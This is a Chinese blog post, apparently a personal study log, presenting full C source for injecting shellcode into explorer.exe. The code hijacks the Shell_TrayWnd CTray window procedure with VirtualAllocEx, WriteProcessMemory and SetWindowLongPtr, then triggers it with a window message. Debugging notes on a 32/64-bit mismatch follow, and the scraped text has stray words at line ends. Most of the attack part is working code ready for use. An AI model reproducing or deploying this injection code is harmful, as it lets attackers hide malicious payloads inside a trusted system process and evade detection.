今天介绍第三种远程执行shellcode的思路:函数回调;前端
一、所谓回调,简单理解:git
本次实验利用windows窗口之间的消息传递机制执行本身的shellcode,核心原理以下:github
核心代码以下:shell
头文件:windows
//#define UNICODE #include "ntlib/ntddk.h" #include <stdio.h> #pragma comment(lib, "user32.lib") #pragma comment(lib, "shell32.lib") #pragma comment(lib, "ntdll.lib") // CTray object for Shell_TrayWnd typedef struct _ctray_vtable { ULONG_PTR vTable; // change to remote memory address ULONG_PTR AddRef; ULONG_PTR Release; ULONG_PTR WndProc; // window procedure (change to payload) } CTray; VOID CTray_WndProc_Hook(LPVOID payload, DWORD payloadSize); VOID kernelcallbacktable(LPVOID payload, DWORD payloadSize); DWORD readpic(PWCHAR path, LPVOID* pic); #endif // !_KCT_H
C文件:多线程
#include "ktc.h" VOID CTray_WndProc_Hook(LPVOID payload, DWORD payloadSize) { LPVOID cs, ds; CTray ct; ULONG_PTR ctp; HWND hw; HANDLE hp; DWORD pid; SIZE_T wr; // 1. Obtain a handle for the shell tray window hw = FindWindow(L"Shell_TrayWnd", NULL); // 2. Obtain a process id for explorer.exe GetWindowThreadProcessId(hw, &pid); printf("find window ID=%d\n", pid); // 3. Open explorer.exe hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // 4. Obtain pointer to the current CTray object ctp = GetWindowLongPtr(hw, 0); if (ctp == 0) { printf("GetWindowLongPtr failed!\n"); CloseHandle(hp); return; } // 5. Read address of the current CTray object ReadProcessMemory(hp, (LPVOID)ctp, (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr); // 6. Read three addresses from the virtual table ReadProcessMemory(hp, (LPVOID)ct.vTable, (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr); // 7. Allocate RWX memory for code cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 8. Copy the code to target process WriteProcessMemory(hp, cs, payload, payloadSize, &wr); printf("payload address:%p\n", payload); //printf("cs address:%p---->%s\n", cs, *(char *)cs);//cs是exlorer进程的地址,这里读会出事; printf("cs address:%p\n", cs); // 9. Allocate RW memory for the new CTray object ds = VirtualAllocEx(hp, NULL, sizeof(ct), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 10. Write the new CTray object to remote memory ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR); ct.WndProc = (ULONG_PTR)cs; WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr); // 11. Set the new pointer to CTray object if (SetWindowLongPtr(hw, 0, (ULONG_PTR)ds) == 0) { printf("SetWindowLongPtr failed!\n"); VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT); VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT); CloseHandle(hp); return; } //system("pause"); // 12. Trigger the payload via a windows message //PostMessage(hw, WM_CLOSE, 0, 0); PostMessage(hw, WM_PAINT, 0, 0); //SendNotifyMessageA(hw, WM_PAINT, 0, 0); //执行注入代码 Sleep(1); //system("pause"); // 13. Restore the original CTray object SetWindowLongPtr(hw, 0, ctp); //system("pause"); // 14. Release memory and close handles VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT); VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT); CloseHandle(hp); } /*shellcode从bin文件读出来*/ DWORD readpic(PWCHAR path, LPVOID* pic) { HANDLE hf; DWORD len, rd = 0; // 1. open the file hf = CreateFile(path, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hf != INVALID_HANDLE_VALUE) { // get file size len = GetFileSize(hf, 0); // allocate memory *pic = malloc(len + 16); printf("*pic:%p------------->\n", *pic); // read file contents into memory ReadFile(hf, *pic, len, &rd, 0); CloseHandle(hf); } return rd; } int main(void) { LPVOID pic = NULL; DWORD len; int argc; PWCHAR* argv; argv = CommandLineToArgvW(GetCommandLine(), &argc); if (argc != 2) { printf("usage: kct <payload>\n"); return 0; } len = readpic(argv[1], &pic); if (len == 0) { printf("invalid payload\n"); return 0; } //kernelcallbacktable(pic, len); CTray_WndProc_Hook(pic, len); return 0; }
执行后:经过process hacker看,shellcode成功写入explorer进程:wordpress
但最终结果并未按照预期弹出messageBox,反而致使explorer崩溃(表现为没法打开文件夹、下方任务栏点击右键没反应、点击左下角的”开始“也没反应);通过在不一样代码处添加pause,反复尝试屡次后发现问题所在:SetWindowLongPtr执行时出错。我的猜想缘由(未经证明)以下:函数
SetWindowLongPtr执行时,会将原来默认的消息处理函数改为咱们自定义的shellcode,这切换的过程须要时间;但windows是个很是复杂的系统,每毫秒、微妙甚至纳秒都有消息须要处理,切换时还会收到大量消息(shellcode里面的messageBox自己也要弹框),但切换过程当中这些消息来不及(或压根没法)处理,致使explorer崩溃,而后进程挂掉后自动重启。这时再在任务栏点击右键、点击文件夹、点击左下角的开始等地方都会有原来的反应;这让我想起了前端时间学习用汇编写操做系统时的一些trick: 执行重要指令时,先cli关闭中断,避免指令被打断。执行完成后再sti 重启开启中断;但SetWindowLongPtr在执行的时候貌似并未有屏蔽消息的功能(后续会想一些办法,好比逆向一些关键的dll去核实);学习
此次实验算是失败了,下面还有10来种shellcode 的注入办法,后续会挨个尝试,找到当下最合适的那个;spa
最后:借(chao)鉴(xi)了别人的思路和代码以下:
https://www.sec-in.com/article/64
https://github.com/odzhan/injection
-------------------------------------------------------------------------分割线------------------------------------------------------------------------------------------------------------------------------------------------
一样的代码,今天编译成64位,换了一个shellcode(https://github.com/odzhan/injection/tree/master/kct 这里的release.bin),程序正常运行,shellcode执行完后弹出了记事本,这里总结一下刚开始实验时失败的缘由:
一、explorer.exe是64位的,注入程序倒是32位的,尽快shellcode成功注入了explorer.exe,但SetWindowLongPtr执行完后底层并未成功置换原CTray,致使自定义的shellcode未能执行;
二、原shellcode:自己也是32位的,里面的LoadLibrary和GetProcAddress都是在32位的环境下动态获取的,在64位的exlporer.exe中没法正常获取其地址,反而致使explorer.exe自身崩溃;